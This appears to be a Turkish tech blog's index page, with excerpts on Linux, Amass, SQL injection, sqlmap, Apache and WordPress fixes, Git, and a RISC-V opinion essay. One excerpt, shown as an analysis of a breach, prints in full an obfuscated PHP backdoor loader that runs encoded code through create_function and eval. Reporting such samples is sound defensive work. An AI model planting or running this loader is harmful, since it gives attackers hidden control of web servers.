Neden Linux

Kitap boyunca kullanılan ve anlatılan Raspberry Pi OS bir Linux işletim sistemi dağıtımıdır. Linux ile ihtiyacınız olan her türlü yazılımı ücretsiz olarak alabiliyorken neden lisansların yasal yaptırımları ile uğraşasınız. İhtiyacınız olan bir yazılımı internette aramanıza gerek yok. Linux depoları ihtiyacınız olan tüm yazılımları içerir, tek komutla yüklemenizi ve güncelleştirmenizi sağlar ve bunu yaparken de diğer meşhur işletim sisteminin aksine bilgisayarınızı yeniden başlatmanıza bile gerek yoktur. Linux’ta masaüstü ortamınızı özelleştirerek konforunuzu yükseltebilirsiniz. Birbirinden bağımsız masaüstleri ile ekranınızı çok daha verimli kullanabilirsiniz. Üstelik Linux bunu çok daha az donanım gereksinimi ile yapabilir.

Okumaya devam et “Neden Linux”

OWAST Amass domain istihbarat aracı tanıyalım

OWASP Amass, açık kaynak bilgi toplama ve aktif keşif teknikleri kullanarak saldırı hedeflerinin ağ haritalamasını ve harici varlık keşfini gerçekleştirir. Aracın alt alan adlarını bulmak için kullandığı tekniklere buradan bakabilirsiniz. Bir OWASP projesi olan Amass, açık kaynak istihbaratı (OSINT) alanında kullanılan önemli blueteam araçlarından birisidir. Go dilinde yazılmış olan aracın temel odağı alan adı (domain name) istihbaratı ve keşfi yapmaktır.

Okumaya devam et “OWAST Amass domain istihbarat aracı tanıyalım”

PHP’de SQL enjeksiyonları nasıl önlenir (PDO)

SQL enjeksiyonu, en yaygın şekilde var olan ve en çok zarar veren web uygulaması güvenlik açıklarından biridir. Neyse ki, hem programlama dilleri hem de RDBMS’lerin kendileri, web uygulaması geliştiricilerine veritabanını güvenli bir şekilde sorgulamanın bir yolunu (parametreli SQL sorguları) sağlamak için gelişti.

SQLi saldırılarından korunmak için parametreli sorgular kullanılır. Parametreli sorguların yazılması ve anlaşılması kolaydır ve bu geliştiriciyi bir ifadedeki gerçek değişkenler için yer tutucuları kullanarak tüm SQL ifadesini önceden tanımlamaya zorlar. Geliştirici SQL ifadesi tanımlandıktan sonra her parametreyi sorguya geçirerek veritabanının SQL komutu ile bir kullanıcı tarafından girilen veriler arasında ayrım yapabilmesini sağlar. SQL komutları bir saldırgan tarafından girilirse, parametreli sorgu girdiyi SQL komutunun aksine bir dize olarak değerlendirir.

Okumaya devam et “PHP’de SQL enjeksiyonları nasıl önlenir (PDO)”

SQLMap ve SQLi (SQL Injection)

sqlmap, veritabanı kullanan web uygulamalarındaki güvenlik açıklarını bulmaya çalışan yetenekli bir araçtır. sqlmap hatalı kodlanan SQL cümlelerini suilstimal (exploit) etmeye çalışarak güvenlik açıklarını tespit eder. sqlmap açık kaynak kodlu bir araçtır (tüm yetenekler için tıklayın). Araç, verilen URL üzerinde birçok türde SQL zafiyetini araştırarak veritabanı ve çalıştığı sistemi ele geçirmeye çalışır. Özetle güvenlik hassasiyeti dikkate alınmadan kodlanmış veya yapılandırılmış veritabanı sistemi kullanan uygulamalarda açık arayarak sistemi ele geçermenin yolunu bulmaya çalışır. Suistimal edebileceği bir enjeksiyon noktası bulduğunda veritabanı ve sunucu üzerindeki verilere erişmeyi dener. Bunlar kullanıcı bilgilerinin veya mesajlaşma kayıtlarının tutulduğu tablolar, kredi kartı ve diğer finansal bilgilerin tutulduğu hassas tablolar ve sunucunun dosya sisteminde kayıtlı diğer dosyalar olabilir.

Okumaya devam et “SQLMap ve SQLi (SQL Injection)”

Tillson T3 İndikatörünü PHP ile Yazalım

Tillson T3 indikatörü, T3, Tillson hareketli ortalamaları olarak da bilinir. Bu teknik göstergenin geliştirilmesinin ardındaki düşünce hareketli ortalamalarda bulunabilecek gecikme ve yanlış sinyalleri iyileştirmekti. T3, diğer ortalama alan (SMA, EMA vb) trend indikatörlerine göre daha yumuşak (daha pürüzsüz) ve duyarlı sonuçlar üretir. T3 kullanılarak trend dönüşleri hissedilebilir.

Okumaya devam et “Tillson T3 İndikatörünü PHP ile Yazalım”

İlginç bir PHP arka kapısı

Birkaç yıl önce Genius‘un sayesinde haberdar olduğum aşağıdaki kod hala daha (v7.2.x) çalışmakta. İlginç yanı short_tags etkin olmasa dahi çalışıyor. Daha ilginci ve hakkkında pek bilgi bulamadığım kısmı ise dinamik olarak yaratılan ve veri (data) olarak ele alınması gereken bir yapının PHP tarafından bir metod (function) olarak değerlendirilmesi ve çalıştırılması.

Okumaya devam et “İlginç bir PHP arka kapısı”

Zararlı bir PHP kodu (PHP Malware)

Eski bir wordpress plug’innin neden olduğu sızmada aşağıdaki kod php betiklerinin başına eklenmiş.

<?  $oO0="cr"."eat"."e_fun"."cti"."on";$o0O=@$oO0('$x','ev'.'al'.'("?>".gz'.'inf'.'late'.'( bas'.'e64'.'_de'.'co'.'de($x)));');@$o0O("s7EvyCjg5cpM0yguKSrIL9ZQiQ92DQpzDYpW9wgJCYgPBfLiHd1d/ULUY3WU8vPTc1KT8kuUNDWrebk4M1ITU1KLNJRAKvUN9QwVjA0MFXzzy1JTFAJSi3IT81LzSnIqlTStkdT65CcnlmTm51kpZJSUFBRb6euXl5frpSUmp+YmFmcb5+ZZmuol5+cCNaVkpgI11vJy2dsBAA==");
Okumaya devam et “Zararlı bir PHP kodu (PHP Malware)”

[access_compat:error] AH01797: client denied hatasının nedeni ve çözümü

Bu hata; Apache v2.4 üstüne güncellendiğinde yapılandırma dosyalarınızda kalan (.conf ve .htaccess’ler) Order ve ve Allow erişim kontrol yapılandırmalarının kaynaklanır. v2.4 sonrasında bu direktifler geçerli değil.

Apache yapılandırma dosyanızda (/etc/apache2/sites-available/000-default.conf) ve yayın dizinlerinizdeki .htaccess dosyalarında şunlar varsa:

Order allow,deny
Allow from all

silin ve şunu yazın:

Require all granted

Eğer şu satırlar varsa:

Order allow,deny
Deny from all

silin ve şunu yazın:

Require all denied

Yayın dizininizdeki muhtemel .htaccess dosyaların hepsini bulmak için yayın dizinine gidin ve şu komutu yazın:

find . -type f -name .htaccess

Basit Anlatımla: Git/GitHub Kullanımı

Baştan şunu söyleyeyim, programcılar ve bilgisayar kullanarak tasarım çalışmaları yapanlar açısından Git kullanmanın çok fazla avantajları var. Git, evvela geriye dönük olarak satır satır kod geçmişini tutuyor. Güzel bir backup ortamı sağlıyor ve aynı zamanda kodda geçmişte yaptığınız tüm değişiklikleri görebiliyorsunuz. Programlama haricinde çalışma yapanlar için de şu açıklamayı yapmakta fayda var; Git metin tabanlı bir kontrol sistemi. Git’i kullanabilmeniz için yaptığınız çalışmaların kaynak dosyaları metin tabanlı olmalı.

Okumaya devam et “Basit Anlatımla: Git/GitHub Kullanımı”

Wordress “WordPress Missing Temporary folder” Hatasının Giderilmesi

Mesajda WordPress geçici dosyaların depolandığı dizine ulaşamıyor diyor. Bu dizin genellikle /tmp (root dizin altında). Eğer benim gibi Apache’nin VirtualHost/Directory direktifine php_admin_value open_basedir seçeneğini eklediyseniz hiçbir PHP bu dizinin dışına çıkamayacak ve WordPress doğal olarak bu hatayı verecektir.

Çözüm için;

  1. Directory direktifi olarak şunu ekleyin:
    php_admin_value upload_tmp_dir “/home/XXXX/www/wp-content/temp”
  2. Yukarıdaki patikayı XXXX‘i kendinize göre düzenlemeyi unutmayın.
  3. Patikanın işaret ettiği temp dizinini oluşturun ve erişim izinlerini ayarlayın.
  4. chown ve chmod ile sahiplik ve erişim izinlerini komşu dizin ile aynı yapın yeterli olacaktır.
  5. Artık sıra WordPress’e geçici dosyalar için bu temp dizini kullanması gerektiğini söylemeye geldi. wp-config.php dosyasına şu satırı ekleyin:
    define(‘WP_TEMP_DIR’, dirname(FILE) . ‘/wp-content/temp/’);
  6. Ayarların geçerli olması için Apache’yi yeniden başlatın:
    sudo systemctl restart apache2

Raspberry Pi’a (Linux) MEB Kök Sertifikası Nasıl Yüklenir?

SSL (Secure Socket Layer), https gibi güvenli iletişim protokollerinin kullandığı şifreleme altyapısını sağlar. Güvenli bir protokol kullanarak gerçekleştirilen iletişim, her iki tarafta da (istemci ve sunucu) şifrelenerek aktarılır. Bunun için asimetrik şifreleme adı verilen bir yöntem kullanılır. Bu yönteme göre; özel ve açık anahtar adı verilen iki adet anahtar üretilmiştir. Açık anahtar herkesçe erişilebilirdir ve şifrelenmek istenen veri henüz istemci tarafında iken bu anahtar ile şifrelenerek gönderilir. Bu anahtarın şifrelediği veriyi sadece özel anahtar açabilir.

Okumaya devam et “Raspberry Pi’a (Linux) MEB Kök Sertifikası Nasıl Yüklenir?”

Assembly Programlama Dili (eKitap )

Bu dokümanda Fehmi Noyan İSİ tarafından hazırlanan, Intel firmasının 80×86 serisi olarak nitelendirilen 8086, 80186, 80286, 80386,
80486 ve Pentium işlemcileri için 16-bit Assembly programlama dili genel yapısı ile anlatılacaktır . Bu sebepten, dokümanda sadece 8086, 80186 ve 80286 (Intel firmasının 16-bit işlemcileri) işlemciler için assembly dili anlatılacaktır. Örnekler MS-DOS işletim sistemi için yazılmıştır. Windows işletim sistemi için assembly programlama 32-bit olup bu dokümanda ele alınmayacaktır. Dokümanda bulunan “Linux Altında Assembly Dili” bölümünde, Linux işletim sistemi altında assembly dilinin kullanımı anlatılmaktadır. Assembly programlama dili ile ilgili elinize geçecek birçok kaynakta bazı temel terim ve ifadeler sürekli orijinal İngilizce halleriyle kullanıldıkları için ben de birçok terimin ve ifadenin Türkçe karşılığını kullanmadım. Bu, bazı durumlarda anlatımı biraz vasatlaştırmışsa da kavramların çok bilinen adları ile öğrenmenin daha faydalı olacağını düşünüyorum.

Kendi Linux Dağıtımınızı Oluşturun (LFS – Türkçe Dökümanı)

Linux From Scratch (LFS), Linux işletim sistemin gerekli bileşenlerini bir araya getirerek, yalnızca kullanım amacına yönelik yeni bir işletim sistemi oluşturmaişlemidir.Bu sayede, Linux dağıtımları ile birlikte gelen ve son kullanıcı tarafından kullanılmayacak programlar ve işlevlerin de işletim sistemi içerisinde yer almaması, böylece de performans ve sabit disk üzerinde kaplanan alan açısından da avantaj sağlanmış olmaktadır.Özellikle web sunucusu, dosya sunucusu, e-posta sunucusu, DHCP sunucusu gibi belirli bir amaca hizmet eden bilgisayarlarda üzerinde sadece ilgili programların olduğu bir işletim sistemi kullanmak bu açıdan faydalı olacaktır.

Bu çalışmada temel seviyede Linux bilgisi olan kullanıcılar için LFS işleminin nasıl gerçekleştirileceği, LFS kitabındaki detaylara girilmemesine karşın, sadece en temeli şlemler adım adım anlatılmıştır.Bu konuda temel kitap niteliği taşıyan Gerard Beekmans‟in Linux From Scratch kitabı daha çok ileri seviye kullanıcıları hedef alan bir kitaptır ve bu çalışmada yer alan Automated Linux From Scratch (ALFS) işlemleri temel LFS üzerinden anlatmaktadır. Çeşitli internet sitelerinde ALFS ile ilgili açıklamalar yer almış olsa da bu çalışmanın amacı, LFS konusunda Türkçe bir kaynak sağlamak, bu konudaki çeşitli çalışmaları bir araya toplamak ve temel seviyedeki kullanıcıların da LFS ile kendi ihtiyaçlarına yönelik bir işletim sistemi yapabilmelerini sağlamaktır ve sonuçta da sadece web sunucusu özelliği olan bir Linux işletim sistemi hazırlamaktır.

Çalışma öncesinde, öncelikle temel Linux bilgisi için bir çalışma yapılmış, Gerard Beekmans‟in Linux From Scratch 6.3 kitabı okunmuş ve ALFS ve LFS konusunda internet üzerinde genel bir araştırma yapılmıştır.Temel Linux bilgisi, yapılan işlemlerin ne işe yaradığı ve işlemler sırasında kullanılan komutları anlamak, LFS kitabı ise işlemlerin neler olduğunu öğrenmek ve konu hakkında ayrıntılı bilgi sahibi olmak, internet araştırması ise bu konuda daha önce yapılan çalışmaların incelenmesi ve konu hakkında daha çok fikir sahibi olmak açısından önem taşımaktadır.

Dökümanı (PDF) indirmek için aşağıdaki bağlantıyı kullanabilirsiniz.

 

RISC-V Komut Seti Mimarisi (ISA) Hakkında birkaç kelam

Yazmakta olduğum kitabıma (şuanki ismi Raspberry Pi ile Linux ve Elektronik Uygulamaları) ARM ile ilgili birkaç kelam eklerken karşılaştığım açık kaynak işlemci komut seti mimarisi olan RISC-V hakkında bazı yorumlarımı ve bilgileri paylaşmak için bu kısa notu yazıyorum. Önce kitabıma ARM hakkında ne yazmıştım onu vereyim:

ARM bilinenin aksine bir işlemci üreticisi değildir, daha çok gömülü sistemler için düşük güç tüketimine sahip RISC mimarisinde çalışan işlemci tasarımları yapar. ARM limited şirketi bu tasarımlarını lisans ücretleri karşılığında çeşitli sistem çipi (SoC) üreticisi firmalara satar (örn: Qualcom, Broadcom, NXP vb.). 1980’lerin başından beri farklı üreticiler tarafından yüzlerce ARM tasarımlı işlemci ürelmiştir. Günümüzde kişisel bilgisayarların (PC) dışındaki sistemlerde (mobil ve gömülü sistemler) kullanılan işlemcilerin %98’i ARM tabanlıdır yani en basit tabiri ile ARM firmasının tasarladığı komut kümesi ile uyumludur. ARM tabanlı belli başlı işlemci/SoC üreticileri Apple, NVidia, Qualcom ve Samsung’dur.

RISC-V Açık Kaynak İşlemci Mimarisi

ARM’dan bahsetmişken RISC-V (Risk-Beş) adlı yeni işlemci mimarisinden ve onu hayata geçiren topluluktan da bahsetmeden geçmeyelim. ARM’ın RISC işlemci pazarında sahip olduğu hâkimiyet ve lisans sınırlamaları, tıpkı yazılım dünyasında olduğu gibi kendini açık kaynak bir işlemci tasarımında da göstermiştir. Yüzlerce organizasyonun ve şirketin desteği ile geliştirilen RISC-V, herhangi bir firmaya bağlı olmayan ortak akılla geliştirilen bir işlemci mimarisi ortaya koymayı amaçlıyor. Destekçileri arasında ASELSAN’ın da olduğu işlemci tasarımının ilk modelleri FPGA üzerinde üretilmiş durumda. RISC-V yaygın bir kullanım bulduğunda donanım fiyatlarının düşeceğini ve işlemci kullanan sistemlerin başarımlarının artacağını tahmin etmek hayalci olmaz. RISC-V gibi bir projenin neden var olduğundan bahsetmek gerekirse;


Bilinen her büyük işlemci üreticisi kendi tasarımlarını kullanmaktalar. Her firmaya özel tasarım, işlemciler arasında bir standardizasyonun oluşamamasına, bu da işlemci üreticilerine bağımlı platformların oluşturduğu sınırlılıkların kullanıcıların zararına (hem maliyet hem de nitelik olarak) olmasına neden oluyor. RISC-V projesinin çıkış nedenlerinden biri de; AMD ve Intel gibi üreticilerin işlemci geliştirirken komut çalıştırma biriminin haricindeki birçok birimle de uğraşmak zorunda oldukları. Örneğin işlemcinin içerisine dâhili olarak eklenen h.264 kod çözücü, şifreleme, sanallaştırma, ses ve görüntü işleme gibi modüller. Bu da işlemcilerin komut mimarisi ile ilgili birimlerine yeterince geliştirme çabası ayrılamamasına neden oluyor. RISC-V projesi amacına ulaştığında, komut mimarisi yönünden gelişmiş ve her zaman geliştirilmeye açık bir işlemci tasarımı ortaya çıkacak, hem işlemcilerin başarımı artacak hem de ortak bir işlemci komut setinde buluşulması sağlanacak.

İşlemcinin ortak akılla geliştirilmesinin sağlayacağı bir özellik de, çoğu kişi tarafından bir NSA arka kapısı olarak görülen ve işlemcinin tasarımından kaynaklı bir güvenlik zafiyeti olan meltdown ve specter zafiyetleri.

FPGA sistemler içerisindeki milyonlarca elektronik elemanı programcısının tasarladığı şekilde bağlantılayarak bir donanım üretilmesini sağlıyor. Tasarlanan şey bir elektronik donanım  olduğundan bir yazılımın yapabileceğinden çok daha yüksek hızda bu görevi donanımsal olarak yerine getiriyor. Bu FPGA sistemler tek seferlik bir kullanıma sahip değil üzerindeki tasarım temizlenerek yeni bir devre tasarlanabiliyor. FPGA’lerin oldukça yüksek hızlara çıktığı günümüzde RISC-V açık işlemci mimarisini kullanılarak herkesin kendi işlemcisini üretmesi mümkün olacak. Hatta bu işi sipariş üzerine yapan sifive adından bir firma da var. İlerde bir firmware update indirir gibi işlemcinizi daha hızlı bir işlemci ile değiştirebildiğinizi düşünün. Bunun internetten indirdiğiniz birkaç kb’lık bir dosya ile yapabileceksiniz.

Sun Micro Systems’ın buna benzer bir açık kaynak işlemci tasarımı vardı (SPARC) fakat daha sonra Oracle tarafından satın alındıktan sonra bu açık olma özelliği rafa kaldırıldı. Bu açıdan da dünyanın ortak akılla geliştirilen bir işlemci komut seti mimarisine (ISA) ihtiyacı var. Bu teknolojinin dolayısıyla insanlığın gelişiminin önündeki engellerden birini kaldıracaktır. Açık kaynak ve onu destekleyen topluluklar dünyamızı hergün daha güzel bir yer yapan işler çıkartıyorlar. Açık kaynak işlemci modelinde yeterince geç kalınmıştı.

Vakıf projenin tüm dökümanlarının ve kaynak kodlarını yayınladı fakat henüz bir ticari şirket gerçek anlamda bir CPU işine girişmedi. Şirketler uzun yıllar kullanılacak bir ürünün tam olarak oturmasını ve denenmesini beklerler. Ayrıca vakfın yönetmeliğine göre tasarım modelinde yapılacak değişiklikler vakıfa ücretli üye olan katılımcıların onayına tabi. Yani tasarımda bir değişiklik yapılacağında veya RISC-V uyumlu ticari bir ürende logo kullanmak gerektiğinde ASELSAN’ın da oy hakkı var.


RISC-V gibi tamamen açık kaynak bir ISA’nın geliştirilmesi ile birçok programatik ve donanımsal süreç tam bir şeffaflık kazanacak. ARM mimarisinin lisans ücretini ödeyerek satın alan bir işlemci üreticisi ARM ile çok ciddi yaptırımları olan lisans anlaşmaları yapılıyor. Mesela bu üretici ARM komut setinin detaylarını içeren dökümantasyonu kesinlikle dışarı çıkaramaz. Diğer taraftan, kapalı yürüyen bu işler sırasında, ARM yapacağı yenilikler veya iyileştirmeler hakkında kimse ile bir bilgi paylaşmıyor. Bu işlemci ve donanım üreticileri için geleceği görmek açısından çok can sıkıcı bir durum. RISC-V bu sözünü ettiğim duruma da çözüm sağlamış oluyor.

RISC-V’in geliştirmesi yapılırken 128bit’lik adresleme uzayı hedef alınarak çalışılıyor. İleride artan bellek miktarları için onu adresleyebilecek genişlikte bir adres yoluna ihtiyaç olacak. Henüz pratikte bu tarz konularla ilgili fazla deneyim yok ama 128bit dönemeci oldukça parlak bir gelecek vaad ediyor. 128bit ile 64bit arasındaki farkın tam olarak “18.446.744.073.709.551.616” (OnSekizKentilyon DörtYüzKırkAltıKatrilyon YediYüzKırkDörtTrilyon YetmişÜçMilyar YediYüzDokuzMilyon BeşYüzElliBirBin AltıYüzOnAltı) kat olduğu düşünülerse RISC-5 tasarımının ne derece gelecek vizyonu ile devam ettiği güzel anlaşılabilir.

Aslında RISC-V’den bahsederken tam olarak bir işlemciden bahsetmiyoruz. ISA (Instruction Set Artitecture) yani komut seti mimarisi, hangi komutların olacağını, özelliklerinin ne olacağını, girdileri çıktıları birbirleriyle programatik ilişkilerinden bahsediyoruz yani bir bilgisayar programının en küçük parçaları olan komutlar ve onları işlerlik kazandıran donanımsal tasarımdan. Mesela basit bir Mov komutu (iki hafıza konumu arasında kopyalama yapar) ARM veya Intel’de aynı şekilde işlemez. Donanım kısmında farklılıklar vardır. Komut daha da kompleksleştiğinde bu farklılıklar inanılmaz hale gelir. Bu nedenledirki donanım platformuna özel işletim sistemleri ve aynı şekilde programlar yazılması gerekir. Şuan GCC GNU derleme araçları içerisine RISC-V implemente edildi ama işlemci spesifik komutlar icra eden programlar için yapacak birşey yok, o spesifik kısımların RISC-5 modeline göre yeniden kodlanması gerekecek.

RISC-5 yazılımdan ve donanımdan bağımsız bir mimari öngörüyor. Bir arduino için yazdığınız kodun intel bir işlemcide doğrudan çalışabildiğini düşünün ya da bir Apple işlemcisinde çalışmak üzere derlenmiş bir kodun ARM işlemci üzerinde çalıştığını. Bu şekilde ta donanım tabanında ortaklaşmak hem işletim sistemleri hem de onların üzerinde koşan yazılımlar için esneklik getirecek ve hareket alanını genişletecek. Ticari üreticilerin kendi mikromimari ve teknoloji bağımlı özelliklerinin sınırlılığından kurtulunacak. Tabana yayılacak, Zeki Müren’in de bizi görmesi sağlanacak.

Donanım ve işletim sistemi üreticilerinin ticari ve lisanssal sınırlılıklar yüzünden başaramadığı standartlaşamama sorunu ortadan kalkarak tüm ortak aklın “sonuç işe” odaklanmasını sağlayacak. Donanımın apple, intel veya amd olması ya da işletim sisteminin windows, mac, Linux
vb gibi olması son kullanıcıyı çok ilgilendirmez. Son kullanıcı kullanmakta olduğu yazılımın işini hızlı ve düzgün yapmasını bekler. Yani işlemci tasarımındaki ortaklaşmayla donanım ve işletim sistemi platformları arasındaki farklar ortadan kalkacak tüm enerji son kullanıcının işine yarayan yazılımlara kayacak.

RISC-V tabanlı donanımlar üzerinde çalışan firmalardan birinin CEO’su ARM’ın günlerinin sayılı olduğunu ve ARM’a bu iş modeli ile giderse 5 yıl ömür biçiyorum gibi iddialı bir yorumda bulunmuş olması doğru yolda olunduğunun göstergesi. CEO, ARM’ın üretim politikalarının açık kaynak mimari ile karşılaştırıldığında sınırlı bir esnekliğe sahip olduğunu, zaman ve maliyet baskısı altındaki piyasaların lisens kuralları ile vakit kaybedemeyeceğini söylüyor.

 

 

https://www.sifive.com/boards

RISC-V komut seti mimarisini kullanan işlemci tasarımları üretildi. 64 bitlik Berkeley Sıra Dışı Makine (BOOM), 64 bitlik Roket, [20] Berkeley’den beş adet 32 ​​bitlik Sodor CPU tasarımını içeren, açık kaynaklı RISC-V işlemci tasarımları var. picorv32, Clifford Wolf, Syntacore’dan scr1, ETH Zürich / Bologna Üniversitesi’nden PULPino (Riscy ve Zero-Riscy) ve diğerleri. Üç aşamalı Sodor CPU, küçük bir gömülü CPU için uygun görünmektedir. Roket, kişisel cihazlar gibi kompakt, düşük güçlü ara bilgisayarlara uyabilir. BOOM, Rocket için oluşturulan altyapının çoğunu kullanır ve kişisel, süper bilgisayar ve depo ölçekli bilgisayarlar için kullanılabilir. Hem picorv hem de scr1, Verilog’da 32 bitlik mikrodenetleyici ünite (MCU) sınıfı RV32IMC uygulamalarıdır. PULPino’daki çekirdekler, mikro denetleyiciler (Zero-Riscy) için basit bir RV32IMC ISA veya gömülü sinyal işleme için özel DSP uzantıları olan daha güçlü bir RV32IMFC ISA uygular.

Son olarak komut seti mimarisi (ISA) açısından açık kaynak olunmasının sağladığı avantaj ve dez avantajların listelendiği şu tabloyu paylaşarak bitirmek istiyorum.

 

Fotoğraflarla bilgisayarın tarihi görseli/infogram’ı (3.8m X 0.8m)

bilgisayarın tarihi gelişimi görseli Bilgisayarın tarihi gelişimi görseli 382cm x 80cm (3.8m x 0.8m) ölçülerinde

Bilişim Teknolojileri Öğretmeni Güven Demir tarafından tasarlanmış olan infogram’ın, PSD (photoshop kaynak dosyası) boyutu çok fazla olduğu için (1.41GB) ancak JPG halini paylaşabiliyorum.

Okumaya devam et “Fotoğraflarla bilgisayarın tarihi görseli/infogram’ı (3.8m X 0.8m)”

PHP: Single File Audio Player

Tek Dosya PHP Ses Yürütücüsü, tarayıcı, çalma listesi ve arama yapısı ile sezgisel bir tarayıcı tabanlı ses çalardır. Yapılandırma veya programlama becerisine gerek duymaz. Müziğinize harika duyarlı bit HTML5 oynatıcı sunmak için dosyanın bir kopyasını web sunucunuza kopyalamanız yeterlidir.

Projenin sayfasına gitmek için buraya demo için buraya tıklayınız.

PHP: Single File PHP Gallery

Tek dosyadan oluşan bir resim galeri script’i, tek bir PHP dosyasındaki bir web galerisi. Tek yapmanız gereken, bir galeri yapmak için betiği resim içeren herhangi bir dizine kopyalamaktır. Alt dizinler alt galeriler olacak. Resimler ve dizinler için küçük resimler otomatik olarak oluşturulur. Tek Dosya PHP Galerisi herhangi bir yapılandırma veya programlama becerisi gerektirmez.

Projenin sayfasına gitmek için buraya demo sayfası için buraya tıklatın.